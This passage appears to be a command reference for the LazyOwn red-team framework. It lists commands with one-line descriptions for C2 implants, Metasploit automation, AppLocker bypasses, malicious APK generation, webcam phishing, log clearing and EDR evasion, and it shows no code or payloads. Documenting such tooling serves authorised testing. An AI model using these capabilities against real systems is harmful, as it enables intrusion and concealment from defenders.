Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Try to check if Vulnerable using the module passed by argument of lazyown example automsf exploit/windows/iis/iis_webdav_upload_asp to use in metasploit

c2

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Handle C2 server setup and agent compilation.

c2_beacon_cmd

Phase: c2 | Source: cli/commands/command_and_control.py

Queue a command for execution on a connected beacon.

c2_beacons

Phase: c2 | Source: cli/commands/command_and_control.py

List all active beacon sessions with their last-seen timestamps.

c2_implant

Phase: c2 | Source: cli/commands/command_and_control.py

Generate a compiled implant payload for the target platform.

c2_keygen

Phase: c2 | Source: cli/commands/command_and_control.py

Generate a fresh AES-256 key for beacon encryption.

c2_quickstart

Phase: c2 | Source: cli/commands/command_and_control.py

Quick C2 setup: generate key, prepare implant dir, print beacon commands.

c2_status

Phase: c2 | Source: cli/commands/command_and_control.py

Show consolidated C2 status: listeners, beacons, implants, and sessions.

caldera

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Installs and starts the Caldera server.

caldera_export

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Export a LazyOwn playbook to CALDERA ability YAML.

caldera_import

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Import CALDERA abilities into LazyOwn playbooks.

duckyspark

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

duckyspark Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

emp3r0r

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Command emp3r0r Downloads and sets up the Emperor server for local exploitation.

empire

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates payloads using PowerShell Empire with various options.

generate_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates a playbook that integrates Atomic Red Team tests and MITRE ATT&CK techniques.

iis_webdav_upload_asp

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

(CVE-2017-7269). Vulnerable using the module iis_webdav_upload_asp of metasploit

listener

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Manage C2 listeners: list, add, start, stop, remove.

mitre_test

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Interacts with the MITRE ATT&CK framework using the STIX 2.0 format.

msf

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Automates various Metasploit tasks including scanning for vulnerabilities, setting up reverse shells, and creating payloads.

msfrpc

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Connects to the msfrpcd daemon and allows remote control of Metasploit.

my_playbook

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Generates a playbook from your custom technique database.

sandbox

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Toggle or query Docker sandbox mode.

sliver_server

Phase: c2 | Source: cli/commands/command_and_control_migrated.py

Starts the Sliver server and generates a client configuration file for connecting clients.

11. Reporting

apropos

Phase: report | Source: cli/commands/report_migrated.py

Search for commands matching the given parameter in the cmd interface and optionally extend the search using the system's apropos command.

banners

Phase: report | Source: cli/commands/report.py

Manage custom banners for the framework.

c2asm

Phase: report | Source: cli/commands/report_migrated.py

Display C and ASM code side by side in a curses-based interface.

camphish

Phase: report | Source: cli/commands/report_migrated.py

Executes the camphish tool for Grab cam shots from target's phone front camera or PC webcam just sending a link.

create_session_json

Phase: report | Source: cli/commands/report.py

Create the session JSON report file.

createjsonmachine

Phase: report | Source: cli/commands/report_migrated.py

Create a new JSON payload file based on the template provided in payload.json.

createjsonmachine_batch

Phase: report | Source: cli/commands/report_migrated.py

Create multiple JSON payload files based on a CSV input file from HackerOne.

createtargets

Phase: report | Source: cli/commands/report.py

Create targets file from nmap scan.

download_malwarebazar

Phase: report | Source: cli/commands/report_migrated.py

Download a malware sample from MalwareBazaar using its SHA256 hash.

extract_ports

Phase: report | Source: cli/commands/report_migrated.py

Extracts open ports and IP address information from a specified file.

eyewitness

Phase: report | Source: cli/commands/report.py

Run EyeWitness for web screenshot capture.

eyewitness_py

Phase: report | Source: cli/commands/report_migrated.py

Automates EyeWitness installation and execution without requiring user input.

gen_report

Phase: report | Source: cli/commands/report_enhanced.py

Generate enhanced professional penetration test reports.

get_avaible_actions

Phase: report | Source: cli/commands/report_migrated.py

Get list de supported acctions.

gowitness

Phase: report | Source: cli/commands/report.py

Run gowitness for web screenshot capture.

gpt

Phase: report | Source: cli/commands/report.py

Query GPT/Groq AI for analysis and reporting.

img2vid

Phase: report | Source: cli/commands/report_migrated.py

Generates an MP4 video from PNG images found in the sessions/captured_images directory.

lazyreport

Phase: report | Source: cli/commands/report_migrated.py

Generate a professional red team report from session data.

malwarebazar

Phase: report | Source: cli/commands/report.py

Search Malware Bazaar for malware samples.

morse

Phase: report | Source: cli/commands/report_migrated.py

Interactive Morse Code Converter.

name_the_hash

Phase: report | Source: cli/commands/report_migrated.py

Identify hash type using nth after retrieving it with get_hash().

nmapscripthelp

Phase: report | Source: cli/commands/report_migrated.py

Provides help to find and display information about Nmap scripts.

process_scans

Phase: report | Source: cli/commands/report_migrated.py

Processes CSV files with scan results and vulnerability data to generate a Shodan-like JSON database.

pth_net

Phase: report | Source: cli/commands/report_migrated.py

Executes the Pass-the-Hash (PTH) Net tool to change the password of an Active Directory account.

pup

Phase: report | Source: cli/commands/report_migrated.py

Processes HTML content from a specified URL using the pup utility and a default CSS selector.

vulns

Phase: report | Source: cli/commands/report.py

Display or manage vulnerabilities.

12. Miscellaneous

EOF

Phase: misc | Source: cli/commands/misc_migrated.py

Handle the end-of-file (EOF) condition.

acknowledgearp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to acknowledge ARP requests by setting a kernel parameter.

acknowledgeicmp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to respond to ICMP echo requests by setting a kernel parameter.

addalias

Phase: misc | Source: cli/commands/misc_migrated.py

Add a new alias with support for placeholders like {rhost}, {lhost}, {lport}, etc.

addhosts

Phase: misc | Source: cli/commands/misc_migrated.py

Adds an entry to the /etc/hosts file, mapping an IP address to a domain name.

aliass

Phase: misc | Source: cli/commands/misc_migrated.py

Prints all configured aliases and their associated commands.

assign

Phase: misc | Source: cli/commands/misc_migrated.py

assign a parameter value, persist to payload.json and refresh aliases.

back

Phase: misc | Source: cli/commands/module_manager.py

Leave the current module context.

banner

Phase: misc | Source: cli/commands/misc_migrated.py

Show the banner

base64decode

Phase: misc | Source: cli/commands/misc_migrated.py

Decodes a Base64 encoded string.

base64encode

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a given string into Base64 format.

browse

Phase: misc | Source: cli/commands/misc_migrated.py

Open the sessions/ TUI browser.

campaign

Phase: misc | Source: cli/commands/campaign.py

Export or import an entire campaign as a portable package.

catalog

Phase: misc | Source: cli/commands/catalog.py

Browse the command catalog.

chainmode

Phase: misc | Source: cli/commands/misc_migrated.py

Toggle interactive kill-chain chaining after every command.

check_update

Phase: misc | Source: cli/commands/misc_migrated.py

Checks for updates by comparing the local version with the remote version.

clean

Phase: misc | Source: cli/commands/misc_migrated.py

Deletes files and directories in the sessions directory, excluding specified files and directories.

clock

Phase: misc | Source: cli/commands/misc_migrated.py

Displays the current date and time, and runs a custom shell script.

clone_site

Phase: misc | Source: cli/commands/misc_migrated.py

Clone a website and serve the files in sessions/{url_cloned}.

collab_join

Phase: misc | Source: cli/commands/misc_migrated.py

Print the multi-operator collaboration join URL and SSE endpoint.

config_banner

Phase: misc | Source: cli/commands/misc_migrated.py

Open a Powerlevel10k-style wizard to toggle prompt segments.

cred_mark_failed

Phase: misc | Source: cli/commands/automation.py

Mark a credential as failed against a host.

cred_reuse

Phase: misc | Source: cli/commands/automation.py

Analyze captured credentials and suggest spray targets.

cron

Phase: misc | Source: cli/commands/misc_migrated.py

Schedules a command to run at a specified time.

ctx

Phase: misc | Source: cli/commands/misc_migrated.py

Print a single-line operator context: rhost, lhost, domain, phase, os, creds.

daemon_approve

Phase: misc | Source: cli/commands/misc_migrated.py

Approve or veto the daemon's currently-pending action.

daemon_focus

Phase: misc | Source: cli/commands/misc_migrated.py

Restrict the autonomous daemon to a set of focus targets.

daemon_mode

Phase: misc | Source: cli/commands/misc_migrated.py

Switch the autonomous daemon between auto, approval and paused modes.

daemon_pause

Phase: misc | Source: cli/commands/misc_migrated.py

Pause the autonomous daemon before its next step.

daemon_resume

Phase: misc | Source: cli/commands/misc_migrated.py

Resume the autonomous daemon (switch mode to auto).

daemon_veto

Phase: misc | Source: cli/commands/misc_migrated.py

Add or clear vetoed command first-tokens for the autonomous daemon.

dashboard

Phase: misc | Source: cli/commands/misc_migrated.py

Launch the full-screen LazyOwn operator dashboard (Textual TUI).

db_creds

Phase: misc | Source: cli/commands/database.py

List or add credentials.

db_export

Phase: misc | Source: cli/commands/database.py

Export database table to CSV.

db_hosts

Phase: misc | Source: cli/commands/database.py

List or add hosts in the active workspace.

db_import

Phase: misc | Source: cli/commands/database.py

Import scan results into the database.

db_init

Phase: misc | Source: cli/commands/database.py

Initialize the database (creates schema if not exists).

db_loot

Phase: misc | Source: cli/commands/database.py

List or add loot items.

db_notes

Phase: misc | Source: cli/commands/database.py

List or add notes.

db_services

Phase: misc | Source: cli/commands/database.py

List all services in the active workspace.

db_status

Phase: misc | Source: cli/commands/database.py

Show entity counts for the active workspace.

db_vulns

Phase: misc | Source: cli/commands/database.py

List or add vulnerabilities.

db_workspace

Phase: misc | Source: cli/commands/database.py

Manage workspaces (list, create, switch, delete).

decode

Phase: misc | Source: cli/commands/misc_migrated.py

Decode a string using the specified shift value and substitution key.

doctor

Phase: misc | Source: cli/commands/misc_migrated.py

Preflight environment health check — verify the install is ready.

download_resources

Phase: misc | Source: cli/commands/misc_migrated.py

Downloads resources into the sessions directory.

encode

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a string using the specified shift value and substitution key.

encoderpayload

Phase: misc | Source: cli/commands/misc_migrated.py

Applies various obfuscations to a given command line string to create multiple obfuscated versions.

encodewinbase64

Phase: misc | Source: cli/commands/misc_migrated.py

Encodes a given payload into a Base64 encoded string suitable for Windows PowerShell execution.

engage

Phase: misc | Source: cli/commands/misc_migrated.py

Drive a single target through the full kill-chain in one command.

exit

Phase: misc | Source: cli/commands/misc_migrated.py

Exit the command line interface.

explore

Phase: misc | Source: cli/commands/misc_migrated.py

Show exploration coverage and addon/tool suggestions per service.

fixel

Phase: misc | Source: cli/commands/misc_migrated.py

Fixes file permissions and line endings in the project directories.

fixperm

Phase: misc | Source: cli/commands/misc_migrated.py

Fix permissions for LazyOwn shell scripts.

gencert

Phase: misc | Source: cli/commands/misc_migrated.py

Generates a certificate authority (CA), client certificate, and client key.

generate

Phase: misc | Source: cli/commands/payload_generation.py

Generate a payload.

getseclist

Phase: misc | Source: cli/commands/misc_migrated.py

Get the SecLists wordlist from GitHub.

god_nodes

Phase: misc | Source: cli/commands/misc_migrated.py

Show the most-connected nodes ("god nodes") from the graph.

graph

Phase: misc | Source: cli/commands/misc_migrated.py

Generates a graph from JSON payload files containing URL, RHOST, and RPORT.

graph_overlay

Phase: misc | Source: cli/commands/misc_migrated.py

Open the graph overlay over the graphify knowledge graph.

graph_search

Phase: misc | Source: cli/commands/misc_migrated.py

Fuzzy search the graphify knowledge graph for nodes by label.

gym

Phase: misc | Source: cli/commands/redteam_gym.py

Red Team Gym — gamified pentest training with ELO scoring.

h

Phase: misc | Source: cli/commands/misc_migrated.py

Open a new window within a tmux session using the LazyOwn RedTeam Framework.

hex_to_plaintext

Phase: misc | Source: cli/commands/misc_migrated.py

Converts hexadecimal data from a file to plain text.

hooks

Phase: misc | Source: cli/commands/automation.py

Conditional hooks management — list, enable, disable, add, remove rules.

hooks_add

Phase: misc | Source: cli/commands/automation.py

Add a new conditional hook rule (JSON string).

hooks_enable

Phase: misc | Source: cli/commands/automation.py

Enable or disable a hook rule.

hooks_fire

Phase: misc | Source: cli/commands/automation.py

Manually fire a hook event for testing.

hooks_list

Phase: misc | Source: cli/commands/automation.py

List all conditional hook rules.

hooks_remove

Phase: misc | Source: cli/commands/automation.py

Remove a hook rule by name.

hunt

Phase: misc | Source: cli/commands/misc_migrated.py

Run an autonomous exploitation chain against a target.

ignorearp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to ignore ARP requests by setting a kernel parameter.

ignoreicmp

Phase: misc | Source: cli/commands/misc_migrated.py

Configures the system to ignore ICMP echo requests by setting a kernel parameter.

ip

Phase: misc | Source: cli/commands/misc_migrated.py

Displays IP addresses of network interfaces and copies the IP address from the tun0 interface to the clipboard.

ip2asn

Phase: misc | Source: cli/commands/misc_migrated.py

Command to get ASN for a given IP address.

ip2hex

Phase: misc | Source: cli/commands/misc_migrated.py

Convert an IPv4 address into its hexadecimal representation.

ipp

Phase: misc | Source: cli/commands/misc_migrated.py

Displays IP addresses of network interfaces and prints the IP address from the tun0 interface.

karma

Phase: misc | Source: cli/commands/misc_migrated.py

Show ELO score, karma rank and exploration progress for this operator.

kick

Phase: misc | Source: cli/commands/misc_migrated.py

Handles the process of sending a spoofed ARP packet to a specified IP address with a given MAC address.

killchain

Phase: misc | Source: cli/commands/misc_migrated.py

Show the unified kill-chain progress and control auto-refresh.

l00t

Phase: misc | Source: cli/commands/misc_migrated.py

Unified loot: show, search, reuse, graph, and mark credentials.

lab

Phase: misc | Source: cli/commands/lab.py

Manage local CTF practice labs.

lazyscript

Phase: misc | Source: cli/commands/misc_migrated.py

Executes commands defined in a lazyscript file.

links

Phase: misc | Source: cli/commands/misc_migrated.py

Displays a list of useful links and allows the user to select and copy a link to the clipboard.

list

Phase: misc | Source: cli/commands/misc_migrated.py

Lists all available scripts in the modules directory.

listaliases

Phase: misc | Source: cli/commands/misc_migrated.py

List all available aliases.

load_session

Phase: misc | Source: cli/commands/misc_migrated.py

Load the session from the sessionLazyOwn.json file and display the status of various parameters.

lock_target

Phase: misc | Source: cli/commands/collaboration.py

Acquire an advisory lock on a target to prevent tool collisions.

login

Phase: misc | Source: cli/commands/cli_auth.py

Authenticate against users.json (same users as lazyc2.py).

logout

Phase: misc | Source: cli/commands/cli_auth.py

Log out the current CLI operator and clear the remember-me token.

lolbas_list

Phase: misc | Source: cli/commands/pwn.py

List available LOLBAS (Living Off The Land) techniques from plugins.

loot

Phase: misc | Source: cli/commands/misc_migrated.py

Alias for l00t — unified loot (show/search/reuse/graph/mark).

makerc

Phase: misc | Source: cli/commands/resource_scripting.py

Record session commands to a resource script.

marketplace

Phase: misc | Source: cli/commands/marketplace.py

Discover and install community plugins, addons, and tools.

marketplace_config

Phase: misc | Source: cli/commands/marketplace.py

Interactive marketplace manager (curses TUI).

mkrc

Phase: misc | Source: cli/commands/resource_scripting.py

Alias for makerc — record commands to a script.

msfshellcoder

Phase: misc | Source: cli/commands/misc_migrated.py

Generate shellcode in C format using msfvenom for either a custom command or a reverse shell payload.

nano

Phase: misc | Source: cli/commands/misc_migrated.py

Opens or creates the file using line in the sessions directory for editing using nano.

neighbors

Phase: misc | Source: cli/commands/misc_migrated.py

Show graph neighbors of a node or command from the graphify graph.

news

Phase: misc | Source: cli/commands/misc_migrated.py

Show the Hacker News in the terminal.

next

Phase: misc | Source: cli/commands/misc_migrated.py

Show next-step recommendations or execute the active autosuggest.

note

Phase: misc | Source: cli/commands/misc_migrated.py

Capture a quick operator note attached to the current target and phase.

notify

Phase: misc | Source: cli/commands/misc_migrated.py

Command to trigger a toastr-like notification.

op_create

Phase: misc | Source: cli/commands/caldera.py

Create a new planned operation.

op_list

Phase: misc | Source: cli/commands/caldera.py

List all operations.

op_pause

Phase: misc | Source: cli/commands/caldera.py

Pause a running operation.

op_plan

Phase: misc | Source: cli/commands/caldera.py

Populate operation steps from a playbook YAML or via MITRE derive.

op_report

Phase: misc | Source: cli/commands/caldera.py

Generate a full report for an operation.

op_resume

Phase: misc | Source: cli/commands/caldera.py

Resume a paused operation.

op_start

Phase: misc | Source: cli/commands/caldera.py

Start (or resume) an operation.

op_status

Phase: misc | Source: cli/commands/caldera.py

Show the status of an operation.

op_stop

Phase: misc | Source: cli/commands/caldera.py

Stop a running operation.

op_timeline

Phase: misc | Source: cli/commands/caldera.py

Show the event timeline of an operation.

operator_create

Phase: misc | Source: cli/commands/automation.py

Create a new operator profile.

operator_delete

Phase: misc | Source: cli/commands/automation.py

Delete an operator profile.

operator_load

Phase: misc | Source: cli/commands/automation.py

Load effective config for an operator (team baseline + overrides).

operators

Phase: misc | Source: cli/commands/automation.py

List all operator profiles.

palette

Phase: misc | Source: cli/commands/misc_migrated.py

Browse the operator command catalogue grouped by kill-chain phase.

palette_k

Phase: misc | Source: cli/commands/misc_migrated.py

Open the fuzzy Command-K palette overlay.

payload

Phase: misc | Source: cli/commands/misc_migrated.py

Load parameters from a specified payload JSON file.

phase

Phase: misc | Source: cli/commands/misc_migrated.py

Get or set the current kill-chain phase.

pipeline

Phase: misc | Source: cli/commands/misc_migrated.py

Declarative composition layer: run a YAML pipeline of LazyOwn commands.

pivot

Phase: misc | Source: cli/commands/misc_migrated.py

Record a newly discovered pivot target or show the pivot chain.

plan

Phase: misc | Source: cli/commands/caldera.py

Pick the next best technique to run for a target.

plan_apply

Phase: misc | Source: cli/commands/caldera.py

Run the planner, then auto-create and start an operation.

plan_detail

Phase: misc | Source: cli/commands/caldera.py

Show the full ranked plan (all candidates) for a target.

pop

Phase: misc | Source: cli/commands/misc_migrated.py

Open a centered popup in the current tmux session to execute a shell command.

prev

Phase: misc | Source: cli/commands/misc_migrated.py

Show prerequisite commands for a verb (the chain's prev arrow).

pwd

Phase: misc | Source: cli/commands/misc_migrated.py

Displays the current working directory and lists files, and copies the current directory path to the clipboard.

qa

Phase: misc | Source: cli/commands/misc_migrated.py

Exits the application quickly without confirmation.

recommend_next

Phase: misc | Source: cli/commands/misc_migrated.py

Recommend the next action via the unified recommendation engine.

register

Phase: misc | Source: cli/commands/cli_auth.py

Register a new operator account in users.json.

resource

Phase: misc | Source: cli/commands/resource_scripting.py

Run an enhanced resource script.

rhost

Phase: misc | Source: cli/commands/misc_migrated.py

Copies the remote host (self.params['rhost']) to the clipboard and updates the command prompt.

rich_tui

Phase: misc | Source: cli/commands/pwn.py

Launch the Rich-based live dashboard TUI.

rot

Phase: misc | Source: cli/commands/misc_migrated.py

Apply a ROT (rotation) substitution cipher to the given string.

rotf

Phase: misc | Source: cli/commands/misc_migrated.py

Apply a ROT (rotation) substitution cipher to the given extension.

rrhost

Phase: misc | Source: cli/commands/misc_migrated.py

Updates the command prompt to include the remote host (self.params['rhost']) and current working directory.

run

Phase: misc | Source: cli/commands/misc_migrated.py

Runs a specific LazyOwn script or active module.

scans

Phase: misc | Source: cli/commands/misc_migrated.py

List nmap scan files in sessions/ with age, size, and open ports.

scope

Phase: misc | Source: cli/commands/misc_migrated.py

Manage the authorized engagement scope and the scope-guard posture.

search

Phase: misc | Source: cli/commands/module_manager.py

Search for modules by name, description, or author.

sh

Phase: misc | Source: cli/commands/misc_migrated.py

Executes a shell command directly from the LazyOwn interface.

share_finding

Phase: misc | Source: cli/commands/collaboration.py

Share a finding or credential discovery with the team.

show

Phase: misc | Source: cli/commands/misc_migrated.py

Show params, modules, payloads, or active module options.

sitrep

Phase: misc | Source: cli/commands/misc_migrated.py

Print a unified operational situation report.

spool

Phase: misc | Source: cli/commands/resource_scripting.py

Log session output to a file.

stealth_off

Phase: misc | Source: cli/commands/pwn.py

Disable stealth mode.

suggest_next

Phase: misc | Source: cli/commands/misc_migrated.py

Suggest next commands by walking the graph from recent activity.

sys

Phase: misc | Source: cli/commands/misc_migrated.py

Executes a shell command directly from the LazyOwn interface.

tab

Phase: misc | Source: cli/commands/misc_migrated.py

Executes the lazypyautogui.py script with optional arguments.

tasks

Phase: misc | Source: cli/commands/misc_migrated.py

View and manage the task queue from sessions/tasks.json.

team_chat

Phase: misc | Source: cli/commands/collaboration.py

Send a message to all connected operators.

team_status

Phase: misc | Source: cli/commands/collaboration.py

Show active operators and target locks.

tenant

Phase: misc | Source: cli/commands/misc_migrated.py

Manage multi-tenancy: list, switch, or create engagement tenants.

tgrep

Phase: misc | Source: cli/commands/misc_migrated.py

Search across all previous command outputs and session logs.

timeline_browser

Phase: misc | Source: cli/commands/misc_migrated.py

Open the timeline scrubber over the session report CSV.

toast_clear

Phase: misc | Source: cli/commands/misc_migrated.py

Mark every pending toast event as seen without printing them.

ttp_matrix

Phase: misc | Source: cli/commands/caldera.py

Render the MITRE ATT&CK coverage matrix across all operations.

ttp_rebuild

Phase: misc | Source: cli/commands/caldera.py

Re-walk the operations directory to refresh the coverage matrix.

ttp_show

Phase: misc | Source: cli/commands/caldera.py

Show details for a single MITRE technique.

tui_theme

Phase: misc | Source: cli/commands/misc_migrated.py

Switch the TUI colour theme used by the splash and styled output.

unlock_target

Phase: misc | Source: cli/commands/collaboration.py

Release an advisory lock on a target.

urldecode

Phase: misc | Source: cli/commands/misc_migrated.py

Decode a URL-encoded string.

urlencode

Phase: misc | Source: cli/commands/misc_migrated.py

Encode a string for URL.

use

Phase: misc | Source: cli/commands/module_manager.py

Select a module to work with.

v

Phase: misc | Source: cli/commands/misc_migrated.py

Open a new window within a tmux session using the LazyOwn RedTeam Framework.

whoami

Phase: misc | Source: cli/commands/cli_auth.py

Show the currently logged-in CLI operator.

wizard

Phase: misc | Source: cli/commands/misc_migrated.py

Guided first-run setup wizard — configure rhost, lhost, domain, wordlists and more.

13. Diagnostics

lazy_payload_keys

Phase: diagnostics | Source: cli/commands/diagnostics.py

List the keys currently present in the parent shell's payload.

lazy_runtime

Phase: diagnostics | Source: cli/commands/diagnostics.py

Print interpreter, platform and core LazyOwn paths.

Uncategorized

GET

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

OPTIONS

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

POST

Phase: uncategorized | Source: cli/commands/phishing_wizard.py

No description available.

adcs_esc

Phase: uncategorized | Source: cli/commands/active_directory.py

Check Active Directory Certificate Services for ESC1-ESC13 vulnerabilities.

ai_playbook

Phase: uncategorized | Source: cli/commands/ai.py

Generate an offensive playbook from Nmap CSV + KB + Ollama.

ai_toggle

Phase: uncategorized | Source: cli/commands/ai.py

Toggle the in-process AI assistant on or off.

android_apk

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Generate a malicious APK with reverse shell payload.

android_enum

Phase: uncategorized | Source: cli/commands/mobile_macos.py

Enumerate an Android device connected via ADB.

applocker_csc

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a csc.exe compile-and-execute AppLocker bypass.

applocker_installutil

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an InstallUtil.exe AppLocker bypass payload.

applocker_msbuild

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an MSBuild.exe AppLocker bypass payload.

applocker_mshta

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate an mshta.exe AppLocker bypass payload.

applocker_presentation

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a PresentationHost.exe AppLocker bypass reference.

applocker_regsvcs

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a Regsvcs.exe/Regasm.exe AppLocker bypass payload.

applocker_rundll32

Phase: uncategorized | Source: cli/commands/applocker_bypass.py

Generate a rundll32.exe AppLocker bypass via SCT scriptlet.

arsenal_show

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Show payload arsenal items.

ask

Phase: uncategorized | Source: cli/commands/ai.py

Ask the AI a question with current session context pre-loaded.

attack_surface

Phase: uncategorized | Source: cli/commands/reporting.py

Generate an attack surface summary from recon data.

audit_complete_keys

Phase: uncategorized | Source: cli/commands/audit.py

Print payload-aware completion suggestions for a partial command.

auditd_disable

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Generate commands to disable Linux auditd.

auto_loop

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Run a goal through the autonomous daemon orchestrator backend.

auto_populate

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Parse the latest nmap XML scan and auto-populate payload context.

autopivot

Phase: uncategorized | Source: cli/commands/pivoting.py

Auto-detect internal networks and set up pivot tunnels.

aws_privesc

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

AWS privilege escalation and enumeration.

bof_catalog

Phase: uncategorized | Source: cli/commands/bof_registry.py

List all BOFs available in the curated catalog.

bof_info

Phase: uncategorized | Source: cli/commands/bof_registry.py

Show detailed information about a BOF.

bof_install

Phase: uncategorized | Source: cli/commands/bof_registry.py

Install and compile a BOF, staging it for beacon delivery.

bof_list

Phase: uncategorized | Source: cli/commands/bof_registry.py

List all installed and staged BOFs.

bof_run

Phase: uncategorized | Source: cli/commands/bof_registry.py

Execute a BOF on a connected beacon.

bof_search

Phase: uncategorized | Source: cli/commands/bof_registry.py

Search the BOF catalog by keyword.

bof_uninstall

Phase: uncategorized | Source: cli/commands/bof_registry.py

Uninstall a BOF and remove its staged file.

c2_dns

Phase: uncategorized | Source: cli/commands/c2_profile.py

Configure or display the DNS beacon profile.

c2_profiles

Phase: uncategorized | Source: cli/commands/c2_profile.py

List all available C2 transport profiles.

c2_rotate

Phase: uncategorized | Source: cli/commands/c2_profile.py

Rotate to the next C2 transport profile in the rotation queue.

c2_tls

Phase: uncategorized | Source: cli/commands/c2_profile.py

Display the current TLS C2 profile.

campaign_sitrep

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Alias of sitrep kept for MCP verb parity (lazyown_campaign_sitrep).

cicd_scan

Phase: uncategorized | Source: cli/commands/cicd.py

Scan CI/CD platform for security misconfigurations.

cicd_secrets

Phase: uncategorized | Source: cli/commands/cicd.py

Scan build log for leaked secrets.

clean_ad

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Clear Active Directory event logs and cached Kerberos tickets.

cloud_buckets

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud storage buckets for a given prefix.

cloud_enum

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud provider metadata, storage, and IAM.

cloud_iam

Phase: uncategorized | Source: cli/commands/cloud.py

Enumerate cloud IAM roles and policies.

cloud_metadata

Phase: uncategorized | Source: cli/commands/cloud.py

Harvest cloud instance metadata (AWS IMDS, Azure, GCP).

cloud_scan

Phase: uncategorized | Source: cli/commands/cloud.py

Full cloud security scan: metadata + buckets + IAM enumeration.

container_detect

Phase: uncategorized | Source: cli/commands/containers.py

Auto-detect container runtime and escape primitives.

container_escape

Phase: uncategorized | Source: cli/commands/containers.py

Check current container for known escape vectors.

cover_tracks

Phase: uncategorized | Source: cli/commands/anti_forensics.py

Run all anti-forensics operations in sequence.

crack_hashes

Phase: uncategorized | Source: cli/commands/security.py

Crack password hashes from a file using John the Ripper or Hashcat.

cross_cloud

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Cross-cloud identity federation attacks.

dacl_abuse

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate and exploit dangerous AD DACL/SACL entries.

delegation_attack

Phase: uncategorized | Source: cli/commands/active_directory.py

Display computed delegation attack paths with exploitation commands.

delegation_enum

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate Kerberos delegation configurations.

depconfuse

Phase: uncategorized | Source: cli/commands/supply_chain.py

Scan a requirements.txt for dependency confusion candidates.

depscan

Phase: uncategorized | Source: cli/commands/supply_chain.py

Scan a directory tree for dependency files and flag risks.

detect_edr

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate commands to detect EDR/AV on the target.

docker_enum

Phase: uncategorized | Source: cli/commands/containers.py

Enumerate Docker host: containers, images, privileges, mounts.

dotnet_payload

Phase: uncategorized | Source: cli/commands/payload_arsenal.py

Generate a .NET/C# payload.

edr_detect

Phase: uncategorized | Source: cli/commands/edr_detect.py

Detect EDR/AV products on the target.

edr_profile

Phase: uncategorized | Source: cli/commands/edr_detect.py

Generate an evasion profile based on detected EDR.

edr_script

Phase: uncategorized | Source: cli/commands/edr_detect.py

Generate a PowerShell EDR detection script.

entra_attack

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Microsoft Entra ID / Azure AD attack operations.

evasion

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate and manage C2 evasion profiles.

evasive

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate detection-evading payloads with multiple obfuscation strategies.

evasive_payload

Phase: uncategorized | Source: cli/commands/evasive_payload.py

Generate an evasive payload with automatic AV/EDR bypass.

event_log

Phase: uncategorized | Source: lazyown.py

Show recent EventBus events. Usage: event_log [N] [category]

facts_show

Phase: uncategorized | Source: cli/commands/mcp_bridge.py

Show structured facts extracted from nmap scans and tool output.

forensic_clean

Phase: uncategorized | Source: cli/commands/opsec_cleanup.py

Clean forensic artifacts — Prefetch, Shimcache, Amcache, Jump Lists, etc.

form

Phase: uncategorized | Source: cli/commands/audit.py

Open an interactive form for a known command. Usage: form .

fz

Phase: uncategorized | Source: cli/commands/audit.py

Fuzzy command finder. Usage: fz [query]. Empty lists every command.

gcp_privesc

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

GCP privilege escalation and enumeration.

gitlab_enum

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate a GitLab instance.

gpo_abuse

Phase: uncategorized | Source: cli/commands/active_directory.py

Enumerate and exploit Group Policy Objects.

grep_log

Phase: uncategorized | Source: cli/commands/audit.py

Grep recent command outputs. Usage: grep_log [--cmd ].

groq

Phase: uncategorized | Source: cli/commands/ai.py

Send a prompt to the Groq API using the configured api_key.

jenkins_enum

Phase: uncategorized | Source: cli/commands/cicd.py

Enumerate a Jenkins instance.

k8s_attack

Phase: uncategorized | Source: cli/commands/cloud_attacks.py

Kubernetes attack — RBAC enumeration, pod escape, etcd, persistence.

k8s_enum

Phase: uncategorized | Source: cli/commands/containers.py

Enumerate Kubernetes cluster: pods, secrets, SAs, RBAC.

k8s_pods

